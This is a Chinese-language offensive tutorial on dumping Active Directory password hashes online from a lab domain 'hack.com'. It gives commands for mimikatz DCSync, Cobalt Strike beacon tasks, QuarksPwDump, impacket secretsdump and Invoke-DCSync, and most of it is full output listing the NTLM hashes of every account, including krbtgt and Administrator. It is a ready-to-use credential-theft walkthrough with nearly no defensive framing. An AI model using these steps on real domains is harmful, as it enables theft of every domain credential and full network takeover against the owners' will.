在线方式读取ntds.dit文件

在线的方式就是直接读取不需要在导出ntds文件,在域环境中，不要直接在线获取hash，特别是域环境比较大的时候，在线获取hash等待时时间较长，工具占用资源太多，容易造成域控服务器崩溃

mimikatz

1、可以读取所有用户的hash

```
lsadump::dcsync /domain:hack.com /all /csv
```

```
mimikatz # lsadump::dcsync /domain:hack.com /all /csv
[DC] 'hack.com' will be the domain
[DC] 'DC.hack.com' will be the DC server
[DC] Exporting domain 'hack.com'
502     krbtgt  72cbbe2460ec03e4fcf3ef858e14fd11        514
1104    wanli   570a9a65db8fba761c1008a51d4c95ab        66048
1107    khack   570a9a65db8fba761c1008a51d4c95ab        512
1109    ls      e45a314c664d40a227f9540121d1a29d        66048
1110    WIN10$  a79dd609f06ca24a3ba6eb6dc233db96        4096
1106    zs      570a9a65db8fba761c1008a51d4c95ab        66048
1105    WANLI-PC$       09c9084814e0ae62fbdb9efe12099cda        4096
1111    2012-1$ e053d1489e4a2427ea97ad7af25a03de        4096
1108    PC-WEB$ 2df513506a6286526972080e713125e1        4096
1112    2012-2$ 5f5be6b93677e377eb6ef77a61a016b7        4096
1001    DC$     22ac75d3307297a71c99da8c88b39ffc        532480
500     Administrator   5143e7a41f1731bf919c7c5d5608dc37        512
```

```
beacon> mimikatz lsadump::dcsync /domain:hack.com /all /csv
[*] Tasked beacon to run mimikatz's lsadump::dcsync /domain:hack.com /all /csv command
[+] host called home, sent: 706121 bytes
[+] received output:
[DC] 'hack.com' will be the domain
[DC] 'DC.hack.com' will be the DC server
[DC] Exporting domain 'hack.com'
502 krbtgt  72cbbe2460ec03e4fcf3ef858e14fd11    514
1104 wanli  570a9a65db8fba761c1008a51d4c95ab    66048
1107 khack  570a9a65db8fba761c1008a51d4c95ab    512
1109 ls  e45a314c664d40a227f9540121d1a29d    66048
1110 WIN10$  a79dd609f06ca24a3ba6eb6dc233db96    4096
1106 zs  570a9a65db8fba761c1008a51d4c95ab    66048
1105 WANLI-PC$    09c9084814e0ae62fbdb9efe12099cda    4096
1111 2012-1$  e053d1489e4a2427ea97ad7af25a03de    4096
1108 PC-WEB$  2df513506a6286526972080e713125e1    4096
1112 2012-2$  5f5be6b93677e377eb6ef77a61a016b7    4096
1001 DC$  22ac75d3307297a71c99da8c88b39ffc    532480
500  Administrator 5143e7a41f1731bf919c7c5d5608dc37    512
```

2、也可以读取单个用户的hash

```
lsadump::dcsync /domain:hack.com /user:administrator
```

```
mimikatz # lsadump::dcsync /domain:hack.com /user:administrator
[DC] 'hack.com' will be the domain
[DC] 'DC.hack.com' will be the DC server
[DC] 'administrator' will be the user account

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : Administrator
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000200 ( NORMAL_ACCOUNT )
Account expiration   : 1601/1/1 8:00:00
Password last change : 2022/9/16 14:15:50
Object Security ID   : S-1-5-21-2716900768-72748719-3475352185-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: 5143e7a41f1731bf919c7c5d5608dc37
    ntlm- 0: 5143e7a41f1731bf919c7c5d5608dc37
    ntlm- 1: b770f687b25fa6be274bf99a69398578
    ntlm- 2: 33b89cf1674c1378a9cbf91de7189a7c
    lm  - 0: 421a3b443ef8da478a214ffc10ed5f08
    lm  - 1: b70fedb9a719ea8a47a380084edf812d
```

```
beacon> mimikatz lsadump::dcsync /domain:hack.com /user:administrator
[*] Tasked beacon to run mimikatz's lsadump::dcsync /domain:hack.com /user:administrator command
[+] host called home, sent: 706121 bytes
[+] received output:
[DC] 'hack.com' will be the domain
[DC] 'DC.hack.com' will be the DC server
[DC] 'administrator' will be the user account

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : Administrator
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000200 ( NORMAL_ACCOUNT )
Account expiration   : 1601/1/1 8:00:00
Password last change : 2022/9/16 14:15:50
Object Security ID   : S-1-5-21-2716900768-72748719-3475352185-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: 5143e7a41f1731bf919c7c5d5608dc37
    ntlm- 0: 5143e7a41f1731bf919c7c5d5608dc37
```

Quarks PwDump

1、上传工具到目标机器，使用命令先导出ntds文件，然后直接读取

```
beacon> shell QuarksPwDump.exe --dump-hash-domain --ntds-file ntds.dit
[*] Tasked beacon to run: QuarksPwDump.exe --dump-hash-domain --ntds-file ntds.dit
[+] host called home, sent: 87 bytes
[+] received output:
                                                                    v0.2b -<(QuarksLab)>-

[+] SYSKEY restrieving...[OK]
SYSKEY = DBCAE18C12AE3BAE704B053DF2910AB1
[+] Init JET engine...OK
[+] Open Database ntds.dit...OK
[+] Parsing datatable...OK
[+] Processing PEK deciphering...OK
PEK = 388E9531BA413372E3380ED23EABD5D1
[+] Processing hashes deciphering...OK

---------------------------------------------- BEGIN DUMP ----------------------------------------------
2012-2$:1112:AAD3B435B51404EEAAD3B435B51404EE:5F5BE6B93677E377EB6EF77A61A016B7:::
2012-1$:1111:AAD3B435B51404EEAAD3B435B51404EE:E053D1489E4A2427EA97AD7AF25A03DE:::
WIN10$:1110:AAD3B435B51404EEAAD3B435B51404EE:A79DD609F06CA24A3BA6EB6DC233DB96:::
ls:1109:AAD3B435B51404EEAAD3B435B51404EE:E45A314C664D40A227F9540121D1A29D:::
PC-WEB$:1108:AAD3B435B51404EEAAD3B435B51404EE:2DF513506A6286526972080E713125E1:::
khack:1107:AAD3B435B51404EEAAD3B435B51404EE:570A9A65DB8FBA761C1008A51D4C95AB:::
zs:1106:AAD3B435B51404EEAAD3B435B51404EE:570A9A65DB8FBA761C1008A51D4C95AB:::
WANLI-PC$:1105:AAD3B435B51404EEAAD3B435B51404EE:09C9084814E0AE62FBDB9EFE12099CDA:::
wanli:1104:AAD3B435B51404EEAAD3B435B51404EE:570A9A65DB8FBA761C1008A51D4C95AB:::
krbtgt:502:AAD3B435B51404EEAAD3B435B51404EE:72CBBE2460EC03E4FCF3EF858E14FD11:::
DC$:1001:AAD3B435B51404EEAAD3B435B51404EE:22AC75D3307297A71C99DA8C88B39FFC:::
```

impacket

使用secretsdump直接读取

```
secretsdump.exe 域名/administrator:密码@IP -outputfile output_ntds
```

```
例如：secretsdump.exe hack/administrator:123456kl;'\@192.168.41.10 -outputfile
1.txt
```

```
NL$KM:2564b9b746bd0ae152bf541db738281ce8d21ef2eff9101f0b8c9500b3ef6e0bb1e018995f64cd3ee4e11b02a7ad1a0787
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5143e7a41f1731bf919c7c5d5608dc37:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72cbbe2460ec03e4fcf3ef858e14fd11:::
hack.com\wanli:1104:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
hack.com\zs:1106:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
khack:1107:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
hack.com\ls:1109:aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d:::
DC$:1001:aad3b435b51404eeaad3b435b51404ee:22ac75d3307297a71c99da8c88b39ffc:::
WANLI-PC$:1105:aad3b435b51404eeaad3b435b51404ee:09c9084814e0ae62fbdb9efe12099cda:::
PC-WEB$:1108:aad3b435b51404eeaad3b435b51404ee:2df513506a6286526972080e713125e1:::
WIN10$:1110:aad3b435b51404eeaad3b435b51404ee:a79dd609f06ca24a3ba6eb6dc233db96:::
2012-1$:1111:aad3b435b51404eeaad3b435b51404ee:3d6a7574c582ab401596e80754cae917:::
2012-2$:1112:aad3b435b51404eeaad3b435b51404ee:5f5be6b93677e377eb6ef77a61a016b7:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:b98290216bc43fa0caeac6d6bef782a8292e75cc824989a5e945efe6db764ab6
```

Invoke-DCSync

Invoke-DCSyncs是powershell脚本可以在线读取内存中的用户hash

```
Import-Module .\Invoke-DCSync.ps1
Invoke-DCSync -PWDumpFormat
```

```
C:\Users\Administrator\Desktop>powershell Import-Module .\Invoke-DCSync.ps1;Invoke-DCSync -PWDumpFormat
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72cbbe2460ec03e4fcf3ef858e14fd11:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5143e7a41f1731bf919c7c5d5608dc37:::
wanli:1104:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
zs:1106:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
khack:1107:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
ls:1109:aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d:::
```